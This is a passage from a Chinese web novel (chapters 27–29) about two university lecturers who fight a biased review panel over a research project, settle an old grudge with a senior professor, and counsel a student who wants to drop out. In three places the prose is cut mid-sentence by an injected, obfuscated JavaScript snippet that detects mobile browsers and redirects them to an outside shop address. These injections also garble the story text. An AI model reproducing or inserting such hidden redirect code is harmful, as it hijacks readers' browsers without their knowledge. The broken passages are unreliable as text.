但江无远已经开始懂得他的语言,以及,开始欣赏他独特的率真。她喜欢他拥抱变化的勇气,喜欢他有新收获时,脸上那种天真的、惊喜的表情。 “贺教授,你像一只学术圈里大名鼎鼎的恶龙,各种荣誉都被你搜刮到了洞穴里。现在搜集下民间的碎钻,感觉也还不错吧?” “嗯。” 贺鸣云心说,其实比起各种各样的宝石,我更高兴的是,有人愿意来我的洞穴里拜访,陪我一起把玩这些宝藏。 当阳光从穹顶洒下,宝石反射的光芒,会同时在他们两人的瞳孔里闪耀。 “还有你,有你做我的搭档,感觉……也很不错。” 江无远懂他的语言,贺鸣云的“不错”约等于“非常好。” 她笑了:“那,合作伙伴,基于现有的数据分析,我们下一步的优化方向是?” 贺鸣云努力找到最准确的语言:“第一,下学期的网课设计提上议程。第二,请带我和你一起去做课题的访谈。第三,我想表达对你的感谢,晚上我请客,你想吃什么?” “当然是你请客!我都快饿死啦,让我看看有什么好吃的。” 江无远兴高采烈开始看大众点评,客厅里突然安静下来,数据、考核、晋升,这些令人躁动的东西渐渐远去,只剩下笔记本散热风扇发出的白噪音,和他略快的心跳。 贺鸣云静静地看着她。 第四,请你继续在我身边。 27. 一起挨打 横向项目和国家级、省部级基金项目不同,课题组和委托方协商一致即可,不必进行公开申报和评选。 自然,也就没有校内答辩的必要。 但贺鸣云带来新消息,他们下周需要在校内评审会面前进行一次课题预答辩。 江无远不解:“我们还需要答辩吗?” 贺鸣云解释:“企业委托了我们学院,委托了马院长,但没点名委托我和你。为了表示公平,特别设置了校内答辩这个环节。” 江无远理解了:“学院其他老师也想抢这块香饽饽。比如……张智学?” 贺鸣云未置可否,平淡地说了句:“轮不到他。我理了一些评审小组可能会问到的问题,你看一下。” 江无远接过贺鸣云精心准备的几页纸,脸上的表情却不见放松。 “你总结得很好,但我总觉得他们不会问这些问题。” 这回轮到贺鸣云不解了:“课题涉及的理论问题,我应该基本都覆盖到了。” 江无远羡慕他不谙政治的单纯,更佩服他站得笔直挨打的皮糙肉厚。 “明明没有必要,却非要搞这么一个答辩,目的就是想证明我们不适合做这个课题,想换人来做。有你在,评审小组对理论研究水平是不会有什么怀疑的,我相信他们也不会笨到攻击你的学术能力。” 她没说后半句话:那估计就只能攻击我的学术能力了。 贺鸣云不懂江无远的烦恼,只觉得江老师今天好奇怪,不仅工作很认真,还表情严肃、愁眉不展,也不和他开玩笑、说废话了。 贺鸣云放出诱饵:“江老师,到饭点了,你想吃什么?我请客。” 江老师竟然头也不抬,说:“没胃口,你去吃吧。” 夭寿啦,大事不妙啊! 贺鸣云拿手在江无远眼皮底下晃了晃,强行引起她的注意:“江老师,你很擅长演讲,也很擅长给人留下好的第一印象,你会表现得很好的。” 江无远淡淡地:“我给你的第一印象好像就不怎么好啊。” 贺鸣云被噎了下,在铁的事实面前,他也无法狡辩。“……我不是一般人。你到底为什么这么紧张?” 江无远面色惨白,小嘴死硬:“我不是紧张,我只是严谨治学。” 贺鸣云失笑:“前两天你还让我直接送你二作就行。” “士别三日嘛……” 在贺鸣云的大眼攻势下,江无远妥协了。 “贺教授,你人都不用去,你履历往那儿一放,考核小组就会给你满分。可是我不一样,我没做过国家级的课题,我没有背书,我需要不停地回答他们的拷问,不停地证明自己。” 贺鸣云思考片刻,说:“我就是你的背书。” 江无远冷笑一声:“你不会以为,我会因为这种甜言蜜语觉得你很帅吧?贺教授,我也是课题合作人,你是我的背书,那我扮演什么角色?花瓶?” 贺鸣云毫不犹豫回答:“你是花。” “?” 贺鸣云沉着道:“锦上添花的花。” “说话麻烦不要大喘气,一口气说完行不行?” 贺鸣云还是十分坚定:“你放心吧,你回答不上的问题我来回答,我回答不上的问题你来回答,又不是单打独斗,我们没问题的。” ***** 谁曾想,他俩单打独斗可能还真没问题,答辩却反而互为软肋,一加一小于二了。 江无远走进小会议室就觉得不好,评审小组里有个老熟人,和她关系比较僵。还有一个社会学院的李教授,上次和贺鸣云一起直播过,她虽然不太清楚内情,但从那次直播的表现来判断,他也不太待见贺鸣云。 贺鸣云倒是信心十足,表现得宾至如归,还绅士地给江无远拉开了椅子,示意她先坐下。 两人刚坐下,李教授也不客套,率先发问:“我看这个课题的结项时间预计在一年后?” “是的。” “目前进展如何?” 贺鸣云还在介绍课题进展,李教授就打断了他: “贺教授年轻有为,同时负责国家级重大课题,还能抽空做横向课题,精力旺盛,让我们这些老人很佩服啊。” 贺鸣云听不出来他在暗讽,朴实无华地试图谦虚:“没有,这点事还不至于需要精力旺盛。” 江无远眼前一黑,李教授果然面色不虞,接着拷问:“贺教授的国家级课题结项时间,是不是和这个项目差不多?” 贺鸣云老实作答:“顺利的话,预计都会在明年九月左右。” 江无远已经听明白了,踢了贺鸣云一脚。 令人智熄,贺鸣云看了她一眼,表情要多莫名其妙有多莫名其妙,一点没领会到她的劝阻之意。 “大学生焦虑感,嗯,是个不错的课题,但毕竟属于应用层面,让贺教授这样的学术理论高手分心,是不是大材小用了?我们社科院年轻老师很多,旱的旱死涝的涝死,小课题完全可以让年轻老师试试水嘛。” 贺鸣云好像还是没听懂李教授的意思,平淡作答:“学术研究本来就该契合应用实际,我不觉得有什么大材小用的。” 他怎么回答得一点攻击性都没有啊!江无远急死了,恨不得上场代骂。 不用她着急,马上就开始攻击她了: “贺教授这次选了新传学院的讲师作为合作人。合作者的学科背景差异很大啊,要怎么确保研究不流于社会热点的话题炒作?” 贺鸣云愣了下,他终于看出来李教授来者不善了。 他一向擅长逻辑辩驳和理论探讨,但李教授并没有对申报材料的内容进行实质性攻击,而是质疑他的时间管理能力和跨界合作动机。 贺鸣云无法言之凿凿地反驳。他确实花了很多时间在这个含金量没那么高的课题上,虽然他乐于如此。 他也无法反驳他和江无远的背景、风格差异。平心而论,让熟悉江无远之前的贺鸣云本人来评价这对组合,结论恐怕也会相当不乐观。 贺鸣云思考了几秒,试图从“跨学科研究是大势所趋”的角度来辩解,却被李教授轻描淡写的一句“如果和你合作的是心理学教授,我们都还觉得说得过去”挡回。 贺鸣云第一次在学术场合,感到有劲无处使的憋屈。 江无远自然地插话进来:“李教授,课题的委托方是做应用类APP的,课题研究的最终目的是提高APP的下载量。我作为传播学老师,在贺教授理论研究的基础上,研究如何让这款APP更契合大学生的需求、获得更多的曝光,是有必要的。” 李教授慢条斯理地翻到江无远简历那一页:“我知道江老师的教学和自媒体都很受欢迎,但你过往的专业课题成果并不突出,在顶级期刊上的发表记录几乎是空白。我们怎么相信,你有能力进行大规模的实证研究和定量分析?” 江无远习惯了被人质疑,早有准备:“李教授,您知道这三年来,冰洋大学赚钱最多、影响力最大的横向课题是哪些吗?为某市制定‘一带一路’对外宣传方案,医保改革舆情调研,为某平台研究短视频算法推荐与内容生态构建,评估某游戏公司虚拟场景营销效果。都是我作为核心成员参与的。” 评审小组没有人说话,他们或多或少都听过这些课题,也知道江无远在企业方有不小的影响力。 “我相信您做了很多学术研究课题,但在实践导向的横向课题方面,不管是心理学院,还是社科院,我有信心说没有几个人比我经验更丰富,我能做的不止提供一些吸引眼球的访谈片段。如果需要,我可以详细介绍我在之前的课题里做的贡献。” 江无远进门之前还在提醒自己,不要激动,不要动气,她早就做好了被质疑学术能力的心理准备,也准备好了全套说辞。 她没有被针对她的质疑激怒,反而是看到李教授阴阳怪气贺鸣云,莫名一股火起,想替贺鸣云出一口气。 李教授无言以对,把球传给了小组里最资深的罗雨华教授。 “罗教授,我不是这个专业的专家,你怎么看?” 江无远的心猛地一沉。 罗教授音量不大,却字字诛心:“我对江老师的课题研究能力没有质疑,但我对江老师的学术伦理观有质疑。江老师热衷自媒体和实践活动,有未经允许把课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113411|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题成果发布在自媒体上的前科。这次做的又是一个社会热点问题,你们要如何保证受访者的隐私不会成为自媒体炒作的原材料?” 江无远没想到罗教授会这么曲解旧事,更没想到罗教授会认为当年她不得已采取的下下策,是为了“炒作”、为了起号做自媒体。 这批评直指江无远的学术品行。她紧紧握拳,提醒自己这是答辩现场,不要被过去的情绪淹没,却感觉喉头发紧,说不出话来。 贺鸣云看出她的失态,轻声问:“江老师,我先回答可以吗?” 江无远感激地朝他点点头。 贺鸣云的语气也不算友好:“罗教授,我认为把两件不相干的事放在一起讲,既不客观,也不严谨。我不知道你具体指什么事、什么课题,但据我所知,每个委托方对江老师的工作都十分满意;我个人也很满意和江老师的合作,她带给课题很多新鲜的视角。你的个人意见,和委托方的意见,以及事情的真相,不一定一致。我反而是想问问评审小组,今天不就课题的研究方法、研究对象等内容进行审议,反而是对我们的个人问题揪着不放,是出于什么考量?” 罗教授对贺鸣云的答复未予置评,她沉默地看了江无远一会儿,问:“江老师,你没有要补充的了吗?” 江无远正要开口,面前的手机屏幕亮了,提示有一条来自贺鸣云的微信消息: “不打没准备的仗,这次我们先撤退。” 贺鸣云朝她点点头。 于是江无远深呼吸,然后说:“我没有要说的了,谢谢。” ***** 答辩结果果然不理想:暂缓通过,请课题负责人针对评审小组提出的问题补充材料,择日再审。 这恐怕是天之骄子第一次在答辩上折戟沉沙,江无远非常愧疚:“贺教授,抱歉。” 贺鸣云见不得骄傲的江老师这样,鼓足勇气开始吟唱:“江老师,你这是说的什么话?他们攻击你的地方,恰恰是你最独特、最闪耀的地方。研究谁都会做,但很少有人能让研究成果落地,启发和帮助到更多人。夏虫不可语冰,他们的狭隘丈量不了你的优秀。” 这是贺鸣云嘴里能说出来的话吗? 江无远愣了两秒,问:“你刚刚去洗手间,不会是去问ChatGpt该怎么安慰我了吧?” 贺鸣云沉默。沉默就是掩饰,掩饰就是心虚,心虚就是确有其事。 “情况还没恶化到需要你用AI的程度,快,切换回贺鸣云本尊人格。切换回来了吗?” “……回来了,”贺鸣云干巴巴地说,“不要跟我说抱歉,你没做错任何事。” 江无远实事求是:“我刚刚答辩表现得不太好。” 贺鸣云也字字真心:“我们是搭档,我表现得也不好,我应该更清晰地阐述我们的优势如何互补,而不是任由他们攻击你。” 江无远失笑:“你没有任由他们攻击我啊,你对罗教授一通输出,都把她说闭麦了,我还没见过你这么激动呢。” 贺鸣云承认他确实急了。“她说得很过分。我也要谢谢你帮我说话,就是,帮我回答李教授的质疑。” 江无远怀疑地看了他一眼,这真的是贺鸣云吗?他都能看出来她插话是在保护他了? 贺鸣云读懂了她的眼神,有点无奈:“我情商没你想的那么低。总之,课题可做可不做,但他们说我们的合作是炒作,是在侮辱我们两个人的学术诚信,我不会让这件事就这么过去,这个课题,除了我们,谁也别想做。” 贺鸣云受过的委屈和污蔑多了去了,但当他意识到这次的攻击不是针对他个人,而是企图给他和江老师的联盟泼污水时,他就怒火中烧、无法冷静。 “好热血啊,贺教授,”江无远看他气得脸都红了,不禁笑了,“刚刚跟受刑似的,消耗了太多热量,我们先去吃饭吧?幸好有你,我发现你其实还挺会说的嘛。” “都是肺腑之言,”贺鸣云话锋一转,“我有点上火,我们去吃沙拉吧?我看你也需要健康饮食,盐吃多了,你脸都是浮肿的。” “……你是怎么做到一句话就让温馨的气氛跌入冰点的?” 28. 等你炸鸡 大事不妙!江老师居然把苦菊都吃下去了。 贺鸣云看得出来,江无远的心情很糟糕,她故意在用大口吃饭掩盖她刚才的失态。这可是她最讨厌的沙拉啊,她也真是演技到位,吃得下嘴。 见江无远心情低落,贺鸣云也丧眉耷眼,一盆沙拉吃得味同嚼蜡。他心里有些诧异,他居然也会和别人的情绪产生共振,倒是忘了这么健康的草料,吃起来本来就没什么滋味。 他很想知道,为什么在课堂上能轻松控场的江老师,会因为罗教授极其主观的几句话大受打击。明明之前李教授的问题更恶毒、更有攻击性,她都平静而精准地反击了。 也许江老师还有什么心结,也许她不愿意再面对罗教授。 于是贺鸣云说:“没事的,江老师,你别担心。我申请课题的能力也很强,万一这个课题做不了,我们也能合作出别的成果的。” “你不是十分钟前还在信誓旦旦‘这个课题,除了我们,谁也别想做’吗?怎么突然又万一上了?” 贺鸣云情商还没那么高,坦诚回答:“我感觉你不想再被罗教授提问,你有点怕她。如果你不想做第二次答辩,我们可以放弃。我不想让你不舒服。” 江无远目瞪口呆,他知道他在说什么吗? 贺鸣云不知道,他还在继续胡言乱语:“我也不知道为什么,看到你不舒服,我心里也会不舒服。” 太可怕了,谁来让这个直男闭嘴? 江无远打断他:“贺教授,我没有很不舒服……好吧,我是挺不舒服的,但不是你想的那样。唉,先点个热乎的东西吧?这个菜也太难吃了。让我先吃口热的,再解释下我和罗教授是怎么回事,你就明白了。” 江无远这个直女也完全没有意识到,她为什么能毫无防备地向贺鸣云敞开旧日心结。明明从理性的角度来看,对学术研究非常严苛、情商又属实不高的贺鸣云,是最糟糕的倾诉对象。 总之,绝望的直男和直女,在惨遭答辩的洗礼后,疲惫地坐在轻食店,在热气腾腾的小菜豆腐汤面前,默默庆幸此时还有对方的陪伴。 贺鸣云用酒精湿巾把碗筷擦干净了,放到江无远面前。 他的体恤让江无远鼓起勇气,说:“贺教授,我以前和罗教授一起做过一个课题,中间闹了点不愉快,她退出了课题。我想她大概是还在记恨这件事,也依然觉得我当时的做法不妥,所以今天才会那样。” 贺鸣云听完江无远高度概括的解释,还是很茫然:“你的意思是,罗教授和你有矛盾,所以故意卡我们?” “嗯。” 贺鸣云重点跑偏:“你这么讨人喜欢,人缘这么好,怎么会和罗教授交恶?” 他疑惑很正常,罗教授是冰洋大学出了名的知心阿姨、老好人,在明争暗斗的学术战场上,还真没听说罗教授和谁闹过矛盾。 江无远很无奈:“所以我才尴尬啊,跟公认的好教授不和,那我成什么人了?” 贺鸣云一如既往的客观:“我倒也没觉得她是好教授,不存在什么公认不公认的。你说说看,具体发生了什么事?” ***** 两年前,江无远二十七岁,刚在冰洋大学工作一年,急需抱老教授大腿做课题、发论文,在冰洋大学站稳脚跟。 她选中了罗雨华教授。 她们一起做的课题是研究平台经济下的零工劳动者,主要研究对象是外卖员。 江无远当时刚刚走出校园,不仅热情地投入了访谈和研究,还和骑手们建立了深厚的友谊。她为骑手受到的压榨感到不公,为骑手组建了维权群,还帮车祸后落下残疾的骑手联系公益律师、社会福利部门。 努力都石沉大海后,江无远在愤怒的驱使下剑走偏锋,不仅联系媒体曝光平台算法的不公,还为残疾骑手制做了一期短视频,在几个平台上,播放量都破了百万。 罗教授得知消息后非常生气,认为江无远的行为严重混淆了“研究者”和“社会活动家”的身份,让学术研究不再客观中立,沦为了社会运动和舆论造势的工具。 两人爆发激烈的争吵。江无远认为人文社科理应推动社会进步,看似客观中立的研究实际上就是站在既得利益者那边,一起对弱势群体施加伤害。 江无远不知悔改的态度进一步激怒了罗教授,她认为江无远不仅意气用事,而且我行我素、思想不端正,未来很可能给学院带来更大的风波和麻烦。 最后,她们合作的课题被罗教授单方面结束委托关系,两人关系彻底破裂。 也因此,初来乍到的江无远还没来得及展示自己的能力,就给部分老教授留下了“激进”“不严谨”的不良初印象,导致她在学院内的合作机会锐减,学术之路更加艰难。 ***** 贺鸣云清了清嗓子,准备开始帮江无远分析。 江无远警惕地瞪了他一眼:“你要是想帮我复盘,甚至想指出罗教授批评的合理之处,我就马上弄死你。” 贺鸣云尴尬地闭上了嘴。 江无远可怜巴巴的:“我知道,当年我的做法确实不妥,不符合学术规范,没有做好风险规避。我已经反复反省、内耗了很久了,你不准再说我。” 贺鸣云点点头:“反省得很好,我不说了。” 江无远愁眉苦脸,咽下一口小番茄:“好死不死,这次又是类似的课题,她肯定觉得我又要开始为焦虑大学生发声,让社会活动优先于学术研究了。” “她怎么想无所谓,我们不需要为别人的偏见负责,”贺鸣云递给她一张纸巾擦嘴,“只是一直逃避,会让这件事永远成为你的阴影,不知道什么时候又冒出来绊你一跤。” 江无远理不直气也壮:“我信奉一句话,逃避虽然可耻,但是有用。” 贺鸣云点评:“江老师,你有点幼稚。” 江无远哀嚎:“我那时候才二十七岁!” 贺鸣云冷峻作答:“我二十七岁的时候也不这样,而且你现在也快三十了。” 江无远哀嚎得更大声了:“贺鸣云,我不是小说里的完美女主角,不是电视剧里的小白花,我也会犯错,犯错了也会尴尬得想装死!” 贺鸣云被她逗笑了,他还是头回见江老师这么手足无措、这么孩子气。 此时不登更待何时? “我陪你去找她,怎么样?你不用道歉,只需要和她说清楚,再给她一个机会,你们好好聊聊。不管结果如何,从此以后,这件事就不会再困扰你了。” “好屈辱啊……好尴尬啊……” 贺鸣云不跟她废话:“行了,赶紧吃,吃饱了睡一觉,明天我们就去找她。” 他无视江无远可怜的眼神,招呼老板:“老板,麻烦给我们来碗香菜。” ***** 贺鸣云先进了罗雨华的办公室,他说“我先和她聊聊研究方法,探探口风”。 十分钟后,贺鸣云出来了,面色寻常,肢体语言正常,看起来并没有被怒骂,也没有被殴打。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128670|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “还好吗?” “很好,你也会很好的。” 江无远深表怀疑。 贺鸣云朝她肯定地点了点头:“去吧,我在楼梯口等你。” 江无远还是很紧张。 贺鸣云安慰她:“等你出来,我们去吃炸鸡。” “怎么又是韩料,就不能吃点贵的吗!” 江无远昨晚打了一夜草稿,从“没有提前沟通就贸然行动,是我不对”到“没有考虑到可能产生的舆情,将您和学院置于风险中,是我的考虑不周”,她自认为姿态已经够低、话术已经够全。 江无远预判,罗教授会坦言“其实我欣赏你的年轻热血,只是担心你太冲动,以后会犯错误”。最后两人拥抱大和解,新课题也得到她的支持,皆大欢喜。 没想到罗教授完全不按她的剧本走,不仅完全不接受她的解释,还又把她劈头盖脸说了一顿,言辞激烈,包括对她“不务正业做网红”的指责。 最让江无远无法接受的是,罗教授竟然还警告她“贺教授是难得的学术研究人才,你想出名就找别的网红合作,别拉上贺教授”。 贺鸣云说过的,课题实在做不了就算了,大不了另外再申请一个。江无远有了底气,时隔两年,和罗教授再次大吵一架。 和上次不同的是,毕竟经过了两年的历练和成长,她已经不是那个害怕权威、急于自证、说到激动处还会掉眼泪的年轻老师了,这次她恶语连珠、气势如虹、毫不留情,新仇旧怨一起算,狠狠替自己的乳腺出了口气。 江无远摔门而去。第一次摔得不够响,气得她又补了一脚。 踹完门往外走,猛然撞上守在楼梯转角的贺鸣云。 江无远这才如梦方醒,想起来这不是她一个人的事,还会拖贺鸣云下水来着。 贺鸣云面无表情,问:“怎么样?” 江无远做作地咳了两声:“额……不如预期。” “烦请具体解释一下。” 江无远眼神闪躲:“那什么,就是……我不仅没和她和解,关系貌似还更僵了。” 贺鸣云的表情看起来有些高深莫测。“就这样?也还好。” 江无远难得支支吾吾:“嗯……没你想的那么好,怎么说呢,我大概也许可能,跟她又干了一架……吧。” 贺鸣云很淡定:“是啊,我隔着门都听见你喊了。” 江无远这下反应过来了,难怪他表情那么奇怪,原来早都知道了。 “你这人真是……你都知道了还装,”她又小心翼翼地看了他一眼,“你不生气吗?这大概率会影响我们的二次答辩。” 贺鸣云看起来一点也不在乎。“无所谓,我猜到了会这样。说实话,你不跟她吵,我可能也会冲进来帮你吵。” 江无远太吃惊了:“真的?” 贺鸣云肯定地点点头:“我先前进去和她谈的时候就知道了,她跟我们合不来。而且,我对她当年的做法也很不满,她作为老教授,完全没有起到指导你的作用,反而还给你的后续发展添了堵。” 江无远试探地问:“你生气了?你进去跟她说什么了?” 贺鸣云没回答,只是接过她的包,说:“辛苦了,不管怎么样,这件事过去了,再也不用内耗了。走吧,我们去吃BHC。” 居然还有贺鸣云知道而江无远不知道的东西。“那是什么?” “高档韩式炸鸡。” 江无远惊了:“怎么还是炸鸡啊?你不上火啦?” 29. 心灵鸡汤 “评审小组有五个人。” 江无远在白板上依次写下五位成员的名字。 “你们学院的李教授,他本来指望凭资历混上副院长,却碰上了你这么个横空出世的竞争对手,所以他对你有敌意,而且觊觎你的课题资源。他会主导答辩的氛围,不管他提出什么问题,我们都必须强硬回应,避免其他人被他带偏。” 贺鸣云很诚实:“我一直很强硬,不怎么委婉。” “我们学院的蒋教授,和我没有私人恩怨,但他比较保守,做的研究也偏传统,我猜他并不喜欢我的网红身份。” 贺鸣云点点头:“蒋教授的提问就由我来回答,你来补充。” “我们学院的罗教授,这个就……估计不会轻易地放过我。” 江无远有点心虚,看了眼贺鸣云。 贺鸣云的反应还是很平淡:“没事,有我在。” 江无远觉得不仅有事,而且事还很大。“你准备怎么做?和我一起跪下,求她放过我们吗?” “为什么我也要跪?”贺鸣云摇摇头,“不用管她,她的意见左右不了答辩结果。你继续。” 江无远也不知道贺鸣云哪儿来的底气,但看他一脸坚定,也懒得跟他掰扯。 “下一位是心理学学院的冷教授,我打听了一下,冷教授年纪比较轻,也在做微信公众号,思想还算解放,态度相对中立,对我们应该没什么恶意,就是容易受权威影响,我们只要注意别让他被李教授、罗教授带偏就行。” 贺鸣云想了想,问:“他是不是本校读博留校的?” “是的,硕博连读,导师是心理学学院的左院长。” “哦,那没问题了,我送过左院长一篇共同一作,关于疫情后学生心理状态的。” 轻易不送人情,一送一个准。江无远对贺鸣云肃然起敬。 “最后这位,你们学院的贾明光教授,我不太熟,只知道年纪比较大,之前在另外一个大学当过院长,是比较老牌的教授了。” 贺鸣云皱眉回想了一会儿,什么也想不起来。“我也不太熟,学术成果好像还不错,为人比较低调,这两学期也没怎么开课。” 江无远怀疑地看他:“你确定你没得罪过他?你没评价过他论文烂?没说过他上课水?” 贺鸣云又努力回忆了一会儿,无辜地表示:“你要我回忆我表扬过的人,我可能还能想起来。我说过的人实在太多了,真不记得了……” 江无远绝望地闭了闭眼,真是前途一片灰暗啊。 “你先别急,”贺鸣云接过她手里的笔,在白板上写下“核心问题”四个大字,“我们逐一突破。” 江无远分析:“李教授知道你的学术水平无懈可击,所以抓着我们的合作动机和背景差异不放,我们可以结合学校的试点工程反驳,给他扣个大帽子,说他在用传统的评价体系来否定创新的研究路径。” “可以,不算扣帽子,他本来也没做什么创新研究。” 贺鸣云摸了摸下巴,又说:“我可以对他很凶,如果你同意的话。” 他说的是中文吗? 江无远没听懂,看着他眨巴眨巴眼:“什么?” “我说,答辩的时候我也可以很凶,说话很难听,”贺鸣云认真地看着她,不知为何,让她幻视一只护主的中华田园犬,“只要你同意。” “说话难听这点上我非常信任你,但是为什么需要我同意?” 贺鸣云说:“上次进门答辩之前,你教训我要谦虚一点,要有亲和力,多微笑,少说难听的话。” 江无远回忆了一下答辩时贺鸣云的死人脸。“原来你听进去了的啊……没事,不用谦虚和微笑了,这次我们要像邦妮和克莱德,凶狠地拿下课题!” “邦妮和克莱德……”贺鸣云喃喃自语,没说出后半句话,他俩不是两口子吗? 两人占据书桌两端,分工合作。 贺鸣云负责构建无可指摘的方法论基础,并有理有据地论证跨界合作的必要性和课题研究的意义;江无远则负责准备前期成果预演,同时设计课题结项后的实践产出,证明公共影响力和学术严谨可以共存。 中途只休息了十分钟,还是江无远强行打断贺鸣云,让他一起挑一挑点哪家外卖。 贺鸣云一如既往效率至上,不花功夫挑食,毫不犹豫说:“老乡鸡。” “你不是广东人吗,你吃什么老乡鸡?我们点作啫怎么样,你没吃过吧?大学城新开的,挺好吃的。” “我要吃老乡鸡,想喝鸡汤,”他想了想,又补充了一句,“香辣鸡杂你点了自己吃,太辣太油了,我吃不了。” 这人怎么这么难伺候啊? ***** 门铃响了。 贺鸣云抬头,询问地看了江无远一眼。 那眼神里竟然还有几分控诉,意思是“晚上怎么还有人来找你,不会是哪个男老师吧”。 江无远朝他点点头:“外卖,你去拿一下。” 哦,是外卖啊,你说这事儿弄的。贺鸣云身轻如燕,去拿吃的。 他一打开门,愣住了。 门外的人也愣住了。 “贺教授?好巧,您也在这儿?” 方溯的肢体语言保持着谦卑,乖巧地站在玄关。然而眼神却极其放肆、极其八卦、极其露骨地把一切尽收眼底: 双颊潮红、扣子解开了两粒的贺教授,脚上竟然穿着专属拖鞋; 穿着宽松T恤、头发乱糟糟的江老师,还对着门口打了个哈欠。 糟糕!她和肖飞飞刚开了赌盘:肖飞飞说他俩是一对儿,方溯说他俩是纯友谊,赌了整整一礼拜的奶茶。 怎么回事?不是前两天才刚刚撕得披头散发的,这又快马加鞭如胶似漆上了?床头打架床尾和,老房子着火真恶心。 方溯越想越觉得没人配得上她老师,没忍住瞪了贺鸣云一眼。 贺鸣云:“?” 江无远招呼方溯:“小溯,快进来。正好你作为局外人,来听听看我们的回答怎么样,我看了太多遍,都脱敏了。” 贺鸣云有点不高兴,他觉得不管是准备答辩、还是点评他的答辩水平、还是衬衣解开两颗扣子,都是比较私密的事,他只同意了和江无远分享,十年内暂时不准备对其他人开放权限。 方溯管贺鸣云高不高兴,这里又不是他家,径直走了进去。 “老师,你们在做什么?” “在准备二次答辩,你来看看,这是我们准备的问题清单和答案。” 方溯念出声:“在质疑我们的专业性之前,先照照镜子做做算数,看看自己发了几篇论文,做了几个课题……” 贺鸣云抢答:“这是你老师写的,不是我。” 江无远给了他一个警告的眼神:“你什么意思?嫌我写得不好?我这是在肯定你的成就好不好。” 方溯安静地看着他俩拌嘴,表情甚是八卦,且疑似带有一丝嫌弃。 江无远给她的眼神瘆得慌,做作地咳了两声,转移话题:“对了小溯,还没问你,来找我是有什么事吗?” 方溯耸了耸肩:“也不是什么大事,就是跟我导师不太愉快,刚吵了一架。” 方溯是那种被斩首了,都只会轻描淡写“一不小心,脖子被划了个口子”的孩子。她嘴上说“和导师不太愉快”,真相很可能是已经激情杀人、把导师抛尸荒野了。 江无远心说事情大条了,给了贺鸣云一个“师生谈心,闲杂人等请回避”的眼神。 贺鸣云收到信号…… 贺鸣云破译信号…… 贺鸣云完全理解错信号: 他自觉地点点头,站起身来。 江无远心说难得此男读懂了空气,情商有显著进步。 没想到此男张嘴来了句:“我去买咖啡。方同学,你要喝什么?我给你买。” 他非但不自觉回避,甚至想要靠贿赂加入这个家。 而方溯竟然接纳了他,说:“我也想听听贺教授的建议。” 江无远无力地朝他招了招手:“……也对,这时候就需要爹味儿重的来掺和掺和。你坐下,大晚上的买什么咖啡,还睡不睡觉了?” 贺鸣云当然没有理解什么叫“爹味”,他还以为江无远夸他爱学生如子女呢。 方溯叹了口气,说:“从研0开始,我就在组里打杂。我接受了,我想这是师门默认的规矩,我是新人,新人就要先做杂活,大家都是这么过来的。但现在我马上研二了,两个新招的研究生都已经进组,还是我在干这些杂活。我现在才明白,徐宇对我的定位就是丫鬟,我永远是那个做脏活累活的老黄牛。” 江无远警告跃跃欲试的贺鸣云:“你先别说话!听孩子说完。” 贺鸣云好委屈:“我没想点评,我就想问问细节。” 江无远严厉地说:“孩子说完你再问。” 贺鸣云委屈地把嘴闭上了。 “本来我还在犹豫,要不要再坚持两年,拿到毕业证。本来我还在想,也许大家都是这么过来的,是我太眼高手低了。但最近我们一起做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137427|195550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课题,我发现,原来我作为资历最浅、能力最弱的人,也是可以承担重要的工作的,也是能得到教授的尊重和认可的。” 贺鸣云检查她整理的数据时,方溯紧张得大气不敢出。贺鸣云看完后说了句“你做得很好,辛苦了”,就是这么简单的一句话,竟然让方溯有要落泪的冲动。那时她后知后觉,原来她已经很久没有收到这样正常的反馈了,原来她已经很久没有挺直腰杆,做一个正常的人了。 “老师,贺教授,我不想再扮演丫鬟了,我不想继续在一个日夜消耗自尊心、别人把我当作空气的地方学习、工作。那样会让我觉得自己很可悲。” 贺鸣云和江无远并排坐着,都皱着眉,双手环抱在胸前,认真听她讲话。 在这悲壮的气氛中,方溯莫名其妙,突然有点想笑。她在想,他俩还真挺有夫妻相的,像我爸妈。 贺鸣云快速偷看了眼江无远的脸色,小心翼翼地开口:“方溯同学,你计划退学吗?” 方溯点点头。 贺鸣云张了张嘴,又闭上,先征求江无远的意见:“江老师,我可以先说话吗?” 江无远的大脑一片空白,她的记忆还停留在方溯被录取、高兴得活蹦乱跳那天。那天她还请方溯吃了顿回转寿司,吃得太多了,她之后整整一个星期不想看见任何米饭……怎么会变成这样呢? 她茫然地点点头:“你说吧。” 贺鸣云没什么情绪波动,立刻进入状态:“除了退学,其他的救济途径有试过吗?比如向院里反映情况,或者申请学委会介入?” 方溯平静回答:“能用的办法都试过了。” 